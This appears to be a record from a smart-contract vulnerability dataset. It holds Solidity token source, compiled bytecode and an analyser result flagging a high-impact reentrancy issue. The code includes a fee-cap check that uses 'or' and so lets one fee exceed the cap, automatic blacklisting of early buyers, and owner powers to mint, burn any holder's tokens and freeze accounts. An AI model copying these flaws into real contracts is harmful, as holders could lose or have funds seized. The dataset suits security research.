return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610544578063dd62ed3e1461055a578063ea1644d5146105a0578063f2fde38b146105c057600080fd5b8063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f578063c492f0461461052457600080fd5b80638f9a55c0116100d15780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047f578063a2a957bb1461049f57600080fd5b80637c519ffb146103ed5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611d0a565b6105e0565b005b34801561020a57600080fd5b5060408051808201909152600b81526a417065436f696e20496e7560a81b60208201525b60405161023b9190611e34565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611c60565b61068d565b604051901515815260200161023b565b34801561028057600080fd5b50601554610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b506702c68af0bb1400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611c20565b6106a4565b3480156102fd57600080fd5b506102c360195481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601654610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611bb0565b610724565b34801561036f57600080fd5b506101fc61037e366004611dd1565b61076f565b34801561038f57600080fd5b506101fc6107b7565b3480156103a457600080fd5b506102c36103b3366004611bb0565b610802565b3480156103c457600080fd5b506101fc610824565b3480156103d957600080fd5b506101fc6103e8366004611deb565b610898565b3480156103f957600080fd5b506101fc610939565b34801561040e57600080fd5b506102c360175481565b34801561042457600080fd5b506000546001600160a01b0316610294565b34801561044257600080fd5b506102c360185481565b34801561045857600080fd5b5060408051808201909152600a815269415045434f494e494e5560b01b602082015261022e565b34801561048b57600080fd5b506101fc61049a366004611deb565b61097c565b3480156104ab57600080fd5b506101fc6104ba366004611e03565b6109ab565b3480156104cb57600080fd5b506102646104da366004611c60565b610a63565b3480156104eb57600080fd5b506102646104fa366004611bb0565b60116020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc610a70565b34801561053057600080fd5b506101fc61053f366004611c8b565b610ac4565b34801561055057600080fd5b506102c360085481565b34801561056657600080fd5b506102c3610575366004611be8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ac57600080fd5b506101fc6105bb366004611deb565b610b73565b3480156105cc57600080fd5b506101fc6105db366004611bb0565b610c16565b6000546001600160a01b031633146106135760405162461bcd60e51b815260040161060a90611e87565b60405180910390fd5b60005b81518110156106895760016011600084848151811061064557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068181611f9a565b915050610616565b5050565b600061069a338484610d00565b5060015b92915050565b60006106b1848484610e24565b3360009081526005602052604090205460ff1661071a5761071a843361071585604051806060016040528060288152602001611ff7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113f2565b610d00565b5060019392505050565b6000546001600160a01b0316331461074e5760405162461bcd60e51b815260040161060a90611e87565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107995760405162461bcd60e51b815260040161060a90611e87565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107ec57506014546001600160a01b0316336001600160a01b0316145b6107f557600080fd5b476107ff8161142c565b50565b6001600160a01b03811660009081526002602052604081205461069e906114b1565b6000546001600160a01b0316331461084e5760405162461bcd60e51b815260040161060a90611e87565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b815260040161060a90611e87565b6108d66103e86702c68af0bb140000611f44565b8110156109345760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b606482015260840161060a565b601755565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161060a90611e87565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109a65760405162461bcd60e51b815260040161060a90611e87565b601955565b6000546001600160a01b031633146109d55760405162461bcd60e51b815260040161060a90611e87565b6009849055600b839055600a829055600c81905560006109f58285611f2c565b90506000610a038487611f2c565b9050601982111580610a16575060198111155b610a5b5760405162461bcd60e51b815260206004820152601660248201527546656573206d75737420626520756e6465722032352560501b604482015260640161060a565b505050505050565b600061069a338484610e24565b6013546001600160a01b0316336001600160a01b03161480610aa557506014546001600160a01b0316336001600160a01b0316145b610aae57600080fd5b6000610ab930610802565b90506107ff81611535565b6000546001600160a01b03163314610aee5760405162461bcd60e51b815260040161060a90611e87565b60005b82811015610b6d578160056000868685818110610b1e57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b339190611bb0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6581611f9a565b915050610af1565b50505050565b6000546001600160a01b03163314610b9d5760405162461bcd60e51b815260040161060a90611e87565b610bb16103e86702c68af0bb140000611f44565b811015610c115760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b606482015260840161060a565b601855565b6000546001600160a01b03163314610c405760405162461bcd60e51b815260040161060a90611e87565b6001600160a01b038116610ca55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060a565b6001600160a01b038216610dc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060a565b6001600160a01b038216610eea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060a565b60008111610f4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060a565b6000546001600160a01b03848116911614801590610f7857506000546001600160a01b03838116911614155b156112d057601654600160a01b900460ff16611011576000546001600160a01b038481169116146110115760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161060a565b6017548111156110635760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161060a565b6001600160a01b03831660009081526011602052604090205460ff161580156110a557506001600160a01b03821660009081526011602052604090205460ff16155b6110fd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161060a565b600854431115801561111c57506016546001600160a01b038481169116145b801561113657506015546001600160a01b03838116911614155b801561114b57506001600160a01b0382163014155b15611174576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111f9576018548161119684610802565b6111a09190611f2c565b106111f95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161060a565b600061120430610802565b60195460175491925082101590821061121d5760175491505b8080156112345750601654600160a81b900460ff16155b801561124e57506016546001600160a01b03868116911614155b80156112635750601654600160b01b900460ff165b801561128857506001600160a01b03851660009081526005602052604090205460ff16155b80156112ad57506001600160a01b03841660009081526005602052604090205460ff16155b156112cd576112bb82611535565b4780156112cb576112cb4761142c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131257506001600160a01b03831660009081526005602052604090205460ff165b8061134457506016546001600160a01b0385811691161480159061134457506016546001600160a01b03848116911614155b15611351575060006113e6565b6016546001600160a01b03858116911614801561137c57506015546001600160a01b03848116911614155b1561138e57600954600d55600a54600e555b6016546001600160a01b0384811691161480156113b957506015546001600160a01b03858116911614155b156113e65760006113d7600c54600a546116da90919063ffffffff16565b5050600b54600d55600c54600e555b610b6d8484848461171c565b600081848411156114165760405162461bcd60e51b815260040161060a9190611e34565b5060006114238486611f83565b95945050505050565b6013546001600160a01b03166108fc6114468360026116da565b6040518115909202916000818181858888f1935050505015801561146e573d6000803e3d6000fd5b506014546001600160a01b03166108fc6114898360026116da565b6040518115909202916000818181858888f19350505050158015610689573d6000803e3d6000fd5b60006006548211156115185760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161060a565b600061152261174a565b905061152e83826116da565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061158b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115df57600080fd5b505afa1580156115f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116179190611bcc565b8160018151811061163857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260155461165e9130911684610d00565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611697908590600090869030904290600401611ebc565b600060405180830381600087803b1580156116b157600080fd5b505af11580156116c5573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b600061152e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061176d565b806117295761172961179b565b6117348484846117c9565b80610b6d57610b6d600f54600d55601054600e55565b60008060006117576118c0565b909250905061176682826116da565b9250505090565b6000818361178e5760405162461bcd60e51b815260040161060a9190611e34565b5060006114238486611f44565b600d541580156117ab5750600e54155b156117b257565b600d8054600f55600e805460105560009182905555565b6000806000806000806117db87611900565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061180d908761195d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461183c908661199f565b6001600160a01b03891660009081526002602052604090205561185e816119fe565b6118688483611a48565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118ad91815260200190565b60405180910390a3505050505050505050565b60065460009081906702c68af0bb1400006118db82826116da565b8210156118f7575050600654926702c68af0bb14000092509050565b90939092509050565b600080600080600080600080600061191d8a600d54600e54611a6c565b925092509250600061192d61174a565b905060008060006119408e878787611ac1565b919e509c509a509598509396509194505050505091939550919395565b600061152e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f2565b6000806119ac8385611f2c565b90508381101561152e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060a565b6000611a0861174a565b90506000611a168383611b11565b30600090815260026020526040902054909150611a33908261199f565b30600090815260026020526040902055505050565b600654611a55908361195d565b600655600754611a65908261199f565b6007555050565b6000808080611a866064611a808989611b11565b906116da565b90506000611a996064611a808a89611b11565b90506000611ab182611aab8b8661195d565b9061195d565b9992985090965090945050505050565b6000808080611ad08886611b11565b90506000611ade8887611b11565b90506000611aec8888611b11565b90506000611afe82611aab868661195d565b939b939a50919850919650505050505050565b600082611b205750600061069e565b6000611b2c8385611f64565b905082611b398583611f44565b1461152e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060a565b8035611b9b81611fe1565b919050565b80358015158114611b9b57600080fd5b600060208284031215611bc1578081fd5b813561152e81611fe1565b600060208284031215611bdd578081fd5b815161152e81611fe1565b60008060408385031215611bfa578081fd5b8235611c0581611fe1565b91506020830135611c1581611fe1565b809150509250929050565b600080600060608486031215611c34578081fd5b8335611c3f81611fe1565b92506020840135611c4f81611fe1565b929592945050506040919091013590565b60008060408385031215611c72578182fd5b8235611c7d81611fe1565b946020939093013593505050565b600080600060408486031215611c9f578283fd5b833567ffffffffffffffff80821115611cb6578485fd5b818601915086601f830112611cc9578485fd5b813581811115611cd7578586fd5b8760208260051b8501011115611ceb578586fd5b602092830195509350611d019186019050611ba0565b90509250925092565b60006020808385031215611d1c578182fd5b823567ffffffffffffffff80821115611d33578384fd5b818501915085601f830112611d46578384fd5b813581811115611d5857611d58611fcb565b8060051b604051601f19603f83011681018181108582111715611d7d57611d7d611fcb565b604052828152858101935084860182860187018a1015611d9b578788fd5b8795505b83861015611dc457611db081611b90565b855260019590950194938601938601611d9f565b5098975050505050505050565b600060208284031215611de2578081fd5b61152e82611ba0565b600060208284031215611dfc578081fd5b5035919050565b60008060008060808587031215611e18578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611e6057858101830151858201604001528201611e44565b81811115611e715783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f0b5784516001600160a01b031683529383019391830191600101611ee6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f3f57611f3f611fb5565b500190565b600082611f5f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f7e57611f7e611fb5565b500290565b600082821015611f9557611f95611fb5565b500390565b6000600019821415611fae57611fae611fb5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ff57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058908efcf27b37fe916ef8c772594882dc6e41a132d1860d7345befa8a77bc1564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,859 |
0x80627111ec10d5dc1eeaef40eaa2745f55a33f2b
|
pragma solidity ^0.5.4;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract GomicsGMC is ERC20 {
string public constant name = "Gomics GMC";
string public constant symbol = "GMC";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 500000000 * (10**uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function dropToken(address[] memory _receivers, uint256[] memory _values) public onlyOwner {
require(_receivers.length != 0);
require(_receivers.length == _values.length);
for (uint256 i = 0; i < _receivers.length; i++) {
transfer(_receivers[i], _values[i]);
emit Transfer(msg.sender, _receivers[i], _values[i]);
}
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(address _to, uint256 _value)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public whenNotPaused returns (bool) {
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount)
public
onlyOwner
returns (bool)
{
super._mint(_to, _amount);
emit Mint(_to, _amount);
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for (uint256 i = 0; i < lockInfo[_holder].length; i++) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder]
.length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx)
public
view
returns (uint256, uint256)
{
return (
lockInfo[_holder][_idx].releaseTime,
lockInfo[_holder][_idx].balance
);
}
function lock(
address _holder,
uint256 _amount,
uint256 _releaseTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(_releaseTime, _amount));
emit Lock(_holder, _amount, _releaseTime);
}
function lockAfter(
address _holder,
uint256 _amount,
uint256 _afterTime
) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(LockInfo(now + _afterTime, _amount));
emit Lock(_holder, _amount, now + _afterTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(
lockInfo[_holder][i].balance
);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length -
1];
}
lockInfo[_holder].length--;
}
function transferWithLock(
address _to,
uint256 _value,
uint256 _releaseTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(_releaseTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
function transferWithLockAfter(
address _to,
uint256 _value,
uint256 _afterTime
) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(LockInfo(now + _afterTime, _value));
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, now + _afterTime);
return true;
}
function currentTime() public view returns (uint256) {
return now;
}
function afterTime(uint256 _value) public view returns (uint256) {
return now + _value;
}
}
|
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c80638456cb591161011a578063a9059cbb116100ad578063de6baccb1161007c578063de6baccb14610b45578063df03458614610bb5578063e2ab691d14610c0d578063e583983614610c65578063f2fde38b14610cc1576101fb565b8063a9059cbb146108fd578063c77828d014610963578063d18e81b314610aaf578063dd62ed3e14610acd576101fb565b8063927a4a7b116100e9578063927a4a7b1461075657806395d89b41146107c65780639dc29fac14610849578063a457c2d714610897576101fb565b80638456cb59146106665780638a57af6b146106705780638d1fdf2f146106c85780638da5cb5b1461070c576101fb565b80633f4ba83a116101925780635c975abb116101615780635c975abb1461059457806370a08231146105b6578063715018a61461060e5780637eee288d14610618576101fb565b80633f4ba83a1461047757806340c10f191461048157806345c8b1a6146104e757806346cf1bb51461052b576101fb565b806323b872dd116101ce57806323b872dd14610349578063313ce567146103cf578063378dc3dc146103f35780633950935114610411576101fb565b806304859ceb1461020057806306fdde0314610242578063095ea7b3146102c557806318160ddd1461032b575b600080fd5b61022c6004803603602081101561021657600080fd5b8101908080359060200190929190505050610d05565b6040518082815260200191505060405180910390f35b61024a610d11565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610311600480360360408110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d4a565b604051808215151515815260200191505060405180910390f35b610333610e75565b6040518082815260200191505060405180910390f35b6103b56004803603606081101561035f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e7f565b604051808215151515815260200191505060405180910390f35b6103d7610fe1565b604051808260ff1660ff16815260200191505060405180910390f35b6103fb610fe6565b6040518082815260200191505060405180910390f35b61045d6004803603604081101561042757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff7565b604051808215151515815260200191505060405180910390f35b61047f61122c565b005b6104cd6004803603604081101561049757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ba565b604051808215151515815260200191505060405180910390f35b610529600480360360208110156104fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e1565b005b6105776004803603604081101561054157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611662565b604051808381526020018281526020019250505060405180910390f35b61059c611728565b604051808215151515815260200191505060405180910390f35b6105f8600480360360208110156105cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061173b565b6040518082815260200191505060405180910390f35b610616611833565b005b6106646004803603604081101561062e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061199f565b005b61066e611ec1565b005b6106c66004803603606081101561068657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050612050565b005b61070a600480360360208110156106de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612319565b005b61071461249a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107ac6004803603606081101561076c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506124c0565b604051808215151515815260200191505060405180910390f35b6107ce612921565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561080e5780820151818401526020810190506107f3565b50505050905090810190601f16801561083b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108956004803603604081101561085f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061295a565b005b6108e3600480360360408110156108ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612af7565b604051808215151515815260200191505060405180910390f35b6109496004803603604081101561091357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612d2c565b604051808215151515815260200191505060405180910390f35b610aad6004803603604081101561097957600080fd5b810190808035906020019064010000000081111561099657600080fd5b820